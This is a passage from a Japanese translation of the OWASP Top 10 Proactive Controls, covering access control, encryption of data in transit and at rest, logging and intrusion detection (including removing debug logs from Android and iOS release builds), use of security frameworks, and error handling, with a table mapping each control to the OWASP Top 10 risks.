一般的なWebフレームワークは、実際にコードを記述する箇所では「ロールベースアクセス制御（RBAC）」を基本的な手法として使います。アクセス制御の仕組みにロールを利用することは構いません。しかし、アプリケーションで特定のロールに対する固有のコードを記述するのはアンチパターンです。特定のユーザーがどのようなロールであるかをチェックするのではなく、ユーザーが特定の機能にアクセスできるかどうかをチェックすることを検討してください。こうしたチェックでは、データとユーザー間の固有の関係性が考慮される必要があります。たとえば、あるユーザーのロールがプロジェクト全体に対する変更権限を有していたとしても、ビジネスルールやセキュリティルールに基づいて、そのユーザーが特定のプロジェクトへのアクセス権限があるかどうかは厳密にチェックすべきです。

つまり、ロールに基づくアクセス制御をソースコードのあちこちに記述するのではなく、

```
if (user.hasRole("ADMIN")) || (user.hasRole("MANAGER")) {
     deleteAccount();
}
```

次のように記述できないか考えましょう。

```
if (user.hasAccess("DELETE_ACCOUNT")) {
     deleteAccount();
}
```

アクセス制御には、サーバー側の信頼できるデータを使う

アクセス制御の判定に利用するデータには様々なものがありますが、一般的なWebアプリケーションやWebサービスにおいては「サーバー側のもの」を使うべきです。こうしたデータには、ユーザー情報、ログイン済みかどうか、ユーザーが持つ権限、アクセス制御ポリシー、リクエストされた機能やデータ、時刻やユーザーの位置情報などがあります。アクセス制御のポリシーに関する情報、たとえばユーザーのロールやアクセス制御に関するルールなど、は決してリクエストに含めてはなりません。一般的なWebアプリケーションでは、クライアントから送信されるデータのうちアクセス制御に必要なのは、現在のユーザーIDもしくはこれからアクセスしようとしているデータに関するIDだけです。アクセス制御の判定に必要となるこれら以外のデータは、すべてサーバー側にある情報を用いなければなりません。

Javaの場合

既に説明したとおり、アクセス制御に関する記述は、ビジネスロジックを記述するレイヤー（アプリケーション）と分離することを推奨します。アクセス制御に関する記述とビジネスロジックとを分離するには、一元的に管理できるセキュリティマネージャを用います。一元的なセキュリティマネージャを導入することで、アプリケーションのアクセス制御は柔軟でカスタマイズ可能なものになります。たとえば、Apache Shiroでは簡単な設定ファイルを記述してアクセス制御ポリシーを組み立てられます。Apache Shiroは、JavaBeans互換のフレームワーク（Spring、Guice、JBossなど）と連携できます。アプリケーションのソースコードからアクセス制御を分離するには、アスペクト指向も良い方法です。アスペクト指向で実装すると、アクセス制御が正しく実装されているかどうかを確認するのも容易です。

この対策で防げる脆弱性

- OWASP Top 10 2013-A4-Insecure Direct Object References
- OWASP Top 10 2013-A7-Missing Function Level Access Control
- OWASP Mobile Top 10 2014-M5 Poor Authorization and Authentication

参考

- OWASP Access Control Cheat Sheet
- OWASP Testing Guide for Authorization
- OWASP iOS Developer Cheat Sheet Poor Authorization and Authentication

7:データの保護

通信経路のデータは暗号化する

機微なデータを送受信する場合には、ネットワーク層やアプリケーション層において、何らかの手段で通信経路を暗号化することを考慮しなければなりません。TLSはこれまでに最も普及し、幅広く支持されてきた方式であり、多くのWebアプリケーションで通信時の暗号化に利用されています。TLSは特定の実装において脆弱性（Heartbleedなど）が公表されてはいますが、今でもトランスポート層の暗号化を行う事実上の業界標準であり、推奨されている方式です。

データを保存する際の暗号化

暗号化によるデータ保存を、安全に構築するのは難しい作業です。システム内のデータを分類し、（分類した）データに暗号化が必要かを判断するのはとても重要です。PCI-DSSのガイドラインに準拠するようにクレジットカード情報を暗号化しなければならない場合が良い例でしょう。また、自分たちで独自にローレベルな暗号関数を実装しなければならないのであれば、自分たちが暗号実装の高度な専門家であるか、そうでなければ専門家の支援を得られる状況になければなりません。暗号関数をゼロから実装するのではなく、ピアレビュー（訳注：専門家による査読）を受けたオープンソースライブラリを利用することを強く推奨します。GoogleのKeyczarプロジェクトやBouncy Castleに加え、各種SDKに同梱されている暗号関連の関数群などが挙げられます。また、暗号に関するもっと難しい問題（たとえば、複雑なソフトウェアにおける階層化や信頼境界に関する課題はもちろん、暗号で使う鍵の管理や暗号に関する全体のアーキテクチャ設計など）を取り扱えるようにしておくべきです。

データの暗号化と保存でよくある問題は、不適切な鍵の管理や、暗号化したデータと鍵を同じ場所に保存してしまう（これでは、玄関のドアマットに鍵を隠しているのと変わりありません）といったことです。暗号鍵は秘密に扱われるべきあり、端末上に存在する時間は極力短く抑えます。たとえば、ユーザーが入力したデータを復号したらすぐにメモリ上から消去しなければなりません。こうした鍵管理や暗号処理の隔離に関する解決策としては、専用の暗号処理ハードウエア、たとえばハードウエアセキュリティモジュール（HSM）、を導入することも代替策として考えられます。

保存先を変更する場合にも、データが保護されるようにする

機密性の高いデータや機微なデータが、処理中に偶発的に露出してしまうことが無いように気を付けましょう。メモリ内にあるデータを、テンポラリ領域やログファイルに出力するときがありますが、こうした場所に書き込まれたデータは攻撃者によって読み取られる可能性があります。

モバイルアプリケーション：端末に安全にデータを保存する

紛失や盗難の恐れがあるモバイル端末の場合には、適切な技術を使って端末に安全にデータを保存する必要があります。万が一、端末への保存機能が適切に実装されていないと、深刻な情報漏えいを招くでしょう（たとえば、認証に使う情報や、アクセストークンなどです）。モバイルアプリケーションで極めて機微なデータを扱うのであれば、iOSのKeychainのような方法もありますが、最も良い方法はモバイル端末にデータを保存しないことです。

この対策で防げる脆弱性

- OWASP Top 10 2013-A6-Sensitive Data Exposure
- OWASP Mobile Top 10 2014-M2 Insecure Data Storage

参考

- TLSの適切な設定：OWASP Transport Layer Protection Cheat Sheet
- TLS証明書を悪用した「中間者攻撃」からユーザーを守る：OWASP Pinning Cheat Sheet
- OWASP Cryptographic Storage Cheat Sheet
- OWASP Password Storage Cheat Sheet
- OWASP Testing for TLS
- iOS Developer Cheat Sheet ： OWASP iOS Secure Data Storage
- iOS Application Security Testing Cheat Sheet ： OWASP Insecure Data storage

ツール

- OWASP O-Saft TLS Tool

8：ロギングと侵入検知の実装

概要

アプリケーションのログは、後になって追加すれば良いものではありませんし、デバッグやトラブルシューティングだけに使うだけではありません。ログは、デバッグやトラブルシューティング以外にも、次に示すような重要な用途があります。

- アプリケーションの運用監視
- ビジネスの分析と洞察
- アクティビティの監査やコンプライアンスの監視
- システムに対する侵入検知
- フォレンジック

セキュリティに関するイベントや指標をログに記録して追跡することで「攻撃駆動型の防御」を実現できるようになります。すなわち、自分たちが行っているセキュリティテストやセキュリティに対する取り組みが、自社のWebシステムに対して「現実に」行われている攻撃に対して有効かどうかを確かめられるのです。

ログの相関分析を容易にするためにも、単一のシステムおよび関連する複数のシステムでは、可能な限りログを記録する仕組みを共通化するようにしましょう。たとえば、SLF4Jのように拡張可能なロギングフレームワークをLogbackやApache Log4j2と組み合わせて使用することで、すべてのログエントリが確実に一致するようにします。

プロセス監視ログ、監査証跡やトランザクションログなどは多くの場合、セキュリティイベントを記録するログとは異なる目的で取得されるので、これらのログは分けて記録しておく必要があります。ログに記録されるイベントや詳細情報の形式が異なるといったことは往々にしてあるのです。たとえば、PCI DSSの監査ログでは、アクティビティを時系列に記録し、原因となるトランザクションの一連の流れを復元してレビューや調査できるだけの、独立して検証可能な証跡を提供できなければなりません。

ログに記録する項目は、多すぎても少なすぎてもいけません。ログに必ず含まれるべき項目には、タイムスタンプや識別情報（送信元IPアドレスやユーザーIDのようなもの）があります。しかし、個人情報や機密情報、オプトアウトされたデータやシークレットはログに記録しないように注意しましょう。ログの利用用途に照らして、どのような項目を、どのタイミングで、どれくらい記録するかを検討します。攻撃者からの不正なログの注入（「ログのねつ造」）を防ぐには、信頼できないデータ（ユーザーからの入力値）はログ出力する際にエンコーディングを施します。

OWASP AppSensor Project では、既存のWebアプリケーションに対して侵入検知と自動応答の仕組みを実装する方法を説明しています。Webアプリケーションのどこに侵入検知センサーまたは検知ポイントを埋め込むべきか、アプリケーションでセキュリティ例外を検知した場合にどのような対応を行うかなどが解説されています。たとえば、サーバーサイドの編集処理がクライアント側で編集されてしまったと思われる間違ったデータを検出した場合や、クライアントサイドでは編集を許可していないフィールドが変更されているような場合を考えてみましょう。この場合、単なるコーディング上のバグの可能性もありますが、誰かがクライアントサイドでの入力チェックをバイパスし、Webアプリケーションを攻撃している可能性があります（こちらの方が可能性が高いと思われます）。このような場合には、ログに記録してエラーを返すだけではダメです。アラートを発報する、または、システムを保護する手立てを打つべきです。たとえば、セッションの切断や該当ユーザーのアカウントを疑わしいものとしてロックすることも考えられます。

モバイルアプリケーションの開発では、デバッグ目的でログを出力することがありますが、これが機密情報の漏えいにつながってしまう可能性があります。モバイルアプリケーションでコンソールへ出力されたログへのアクセスは、Xcode IDE（iOSの場合）やLogCat（Androidの場合）などの開発ツールだけでなく、どんなサードパーティアプリケーションからも可能で

す。よって、製品版をリリースする際にはログ出力機能を無効にしてしまうのが最も良い対策方法です。

Androidアプリケーションでログ出力を無効化してリリースする方法

Androidアプリケーションの場合、製品版を出荷する際にLogクラスがコンパイルされるのを避けるには、ProGuardツールを使うのが最も簡単なやり方です。設定ファイル(proguardproject.txt)に以下のオプションを追加することで、ログ出力している箇所を取り除けます。

```
-assumenosideeffects class android.util.Log
{
public static boolean isLoggable(java.lang.String, int);
public static int v(...);
public static int i(...);
public static int w(...);
public static int d(...);
public static int e(...);
}
```

iOSアプリケーションでログ出力を無効化してリリースする方法

iOSアプリケーションの場合は、以下のようなプリプロセッサを定義してログ出力している箇所を取り除きます。

```
#ifndef DEBUG
#define NSLog(...)
#endif
```

この対策で防げる脆弱性

- 「OWASP Top 10」のすべての項目
- Mobile Top 10 2014M4 Unintended Data Leakage

参考

- アプリケーションでの正しいロギング実装: OWASP Logging Cheat Sheet
- iOS Developer Cheat Sheet : OWASP Sensitive Information Disclosure
- OWASP Logging
- OWASP Reviewing Code for Logging Issues

ツール

- OWASP AppSensor Project
- OWASP Security Logging Project

9:セキュリティフレームワークやライブラリの活用

概要

Webアプリケーション、Webサービスやモバイルアプリケーションを開発するときに、セキュリティ機能をゼロから開発していくのは時間の無駄ですし、大量のセキュリティホールを産み出してしまいます。セキュリティが組み込まれたライブラリやフレームワークを用いれば、ソフトウェア開発者がセキュリティに関する設計を行ううえでも、実装ミスを防ぐうえでも助けになります。開発者にはセキュリティ機能を実装するために必要充分な時間も予算も無いのが実情です。そして、業界が異なれば、準拠すべき基準やセキュリティルールのレベルも異なります。

可能であれば、新たなライブラリを取り入れるのではなく、フレームワークに備わっているセキュリティ機能を活用することに情熱をささげるべきでしょう。開発者がこれまでに使ったことのあるものを活用する方が、不慣れなものを利用するより良いでしょう。Webアプリケーションで使えるセキュリティフレームワークには、次のようなものがあります。

- Spring Security
- Apache Shiro
- Django Security
- Flask security

フレームワークが多機能であるがゆえと、サードバーティのプラグインで拡張できてしまうため、「すべてのフレームワークがセキュリティ欠陥と無縁なわけではないし、攻撃に利用されそうなものがたくさんあるフレームワークもある」と思う方もいるかもしれません。良い例は、WordPressでしょう(WordPressは、ちょっとしたWebサイトを簡単に構築できる、非常にポピュラーなフレームワークです)。WordPressでは頻繁にセキュリティアップデートが配布されていますが、サードパーティが提供するプラグインやアプリケーションのセキュリティまではサポートされていません。ですから、他のソフトウェアを使う場合と同様、可能な場所に追加のセキュリティ対策をできるだけ組み込み、頻繁なアップデートにより、セキュリティ機能を早い段階から何度も繰り返し検証していくのが重要なのです。

この対策で防げる脆弱性

- セキュリティフレームワークやライブラリは概して、OWASP Top 10にあるような一般的なWebアプリケーションに対する脅威、その中でも特に構文的に不正な入力に起因するもの(たとえばユーザー名の入力フィールドにJavaScriptが入力されてしまうようなこと)を防げます。

- このようなフレームワークやライブラリを使う場合は、常に更新し続けることが大切です。詳しくは、OWASP Top 10 2013にある「既知の脆弱性を持つコンポーネントの使用」をご覧ください。

参考

- OWASP PHP Security Cheat Sheet
- OWASP .NET Security Cheat Sheet
- Security tips and tricks for JavaScript MVC frameworks and templating libraries
- Angular Security
- OWASP Security Features in common Web Frameworks
- OWASP Java Security Libraries and Frameworks

ツール

- OWASP Dependency Check

10:エラー処理と例外処理

概要

エラー処理や例外処理の実装は、開発者にとっては決して楽しいものではありません。ですが、入力データのチェックの例でわかるように、エラー処理や例外処理は、防御的プログラミングの重要な要素ですし、セキュリティの観点だけでなく信頼性の高いシステムを開発するうえで決定的な要素になります。エラー処理における誤った実装は、以下に示す別の種類の脆弱性のもとになります。

1. エラーメッセージに表示される情報は、攻撃者にとって、システムが動作している環境や設定を理解するうえで役立つことがあります(CWE 209)。たとえば、エラー画面にスタックトレースや内部の詳細なエラー情報を表示してしまうと、システムの動作環境が露呈してしまうでしょう。状況によってエラーメッセージが変わる場合(たとえば、認証に失敗した場合に「ユーザー名が間違っています」というメッセージの場合と「パスワードが間違っています」というメッセージを使う場合です)も、攻撃者にとっては何らかのヒントになります。
2. エラーチェックを記述しないと、エラーを検知することができないのはもちろん、予期せぬ結果を招く可能性もあります(CWE 391)。トロント大学の研究者によると、エラー処理の欠落やエラー処理の中のささいなミスが、システムの破滅的な失敗の主要因であるとしています。
   https://www.usenix.org/system/files/conference/osdi14/osdi14-paper-yuan.pdf

エラー処理や例外処理は、セキュリティ機能やフレームワークだけではなく、重要なビジネスロジックにも及びます。注意深いコードレビュー、ネガティブテスト(探索的テストやペネトレーションテストも含む)を行うこと、ファジング、フォルト・インジェクションなどのテスト手

法を用いることで、エラー処理に潜む問題を見つけだすことができるでしょう。こうした用途の自動化ツールとして最も知られたものの一つに、NetflixのChaos Monkeyがあります。

役に立つアドバイス

1. 例外処理は集中管理することを推奨します。コード内のtry～catchブロックの重複を防ぎ、予期していなかった例外もすべてアプリケーション内部で処理できます。
2. ユーザーに表示するメッセージに機密情報が含まれていないことを確認しましょう。ただし、何が起きたかをユーザーに説明できる情報は含まれていなければなりません。
3. 品質保証やフォレンジック、あるいはインシデント・レスポンスチームが問題を把握できるだけの例外が、ログとして出力されているかを確認しましょう。

この対策で防げる脆弱性

- OWASP Top 10のすべて

参考

- OWASP Code Review Guide Error Handling
- OWASP Testing Guide Testing for Error Handling
- OWASP Improper Error Handling Tools

ツール

- Aspirator– A simple checker for exception handler bugs

OWASP Top 10との関連

ここまでに説明してきた個々の対策は、OWASP Top 10で示されている脆弱性のうち、1つ以上と対応しています。次表でOWASP Top 10とOWASP Top 10 Proactive Controlsの対応を示します。

OWASP Top 10 Proactive Controls	対応するOWASP Top 10
C1:早期に、繰り返しセキュリティを検証する	● Top 10すべて
C2:クエリーのパラメータ化	● A1-インジェクション
C3:データのエンコーディング	● A1-インジェクション ● A3-クロスサイトスクリプティング(XSS)(一部)
C4:すべての入力値を検証する	● A1-インジェクション(一部) ● A3-クロスサイトスクリプティング(XSS)(一部) ● A10-未検証のリダイレクトとフォワード
C5:アイデンティティと認証管理の実装	● A2-認証とセッション管理の不備
C6:適切なアクセス制御の実装	● A4-安全でないオブジェクト直接参照 ● A7-機能レベルアクセス制御の欠落
C7:データの保護	● A6-機密データの露出
C8:ロギングと侵入検知の実装	● Top 10すべて
C9:セキュリティフレームワークやライブラリの活用	● Top 10すべて
C10:エラー処理と例外処理	● Top 10すべて

(訳注:OWASP Top 10の日本語版全文はこちら)

		OWASP Top 10									
		A1:インジェクション	A2:認証とセッション管理の不備	A3:クロスサイトスクリプティング（XSS）	A4:安全でないオブジェクト直接参照	A5:セキュリティ設定のミス	A6:機密データの露出	A7:機能レベルアクセス制御の欠落	A8:クロスサイトリクエストフォージェリ（CSRF）	A9:既知の脆弱性を持つコンポーネントの使用	A10：未検証のリダイレクトとフォワード
Proactive Controls	C1:早期に、繰り返しセキュリティを検証する	✓	✓	✓	✓	✓	✓	✓	✓	✓	✓
	C2:クエリーのパラメータ化	✓									
	C3:データのエンコーディング	✓		✓							
	C4:すべての入力値を検証する	✓		✓							✓
	C5:アイデンティティと認証管理の実装		✓								
	C6:適切なアクセス制御の実装				✓			✓			
	C7:データの保護						✓				
	C8:ロギングと侵入検知の実装	✓	✓	✓	✓	✓	✓	✓	✓	✓	✓
	C9:セキュリティフレームワークやライブラリの活用	✓	✓	✓	✓	✓	✓	✓	✓	✓	✓
	C10:エラー処理と例外処理	✓	✓	✓	✓	✓	✓	✓	✓	✓	✓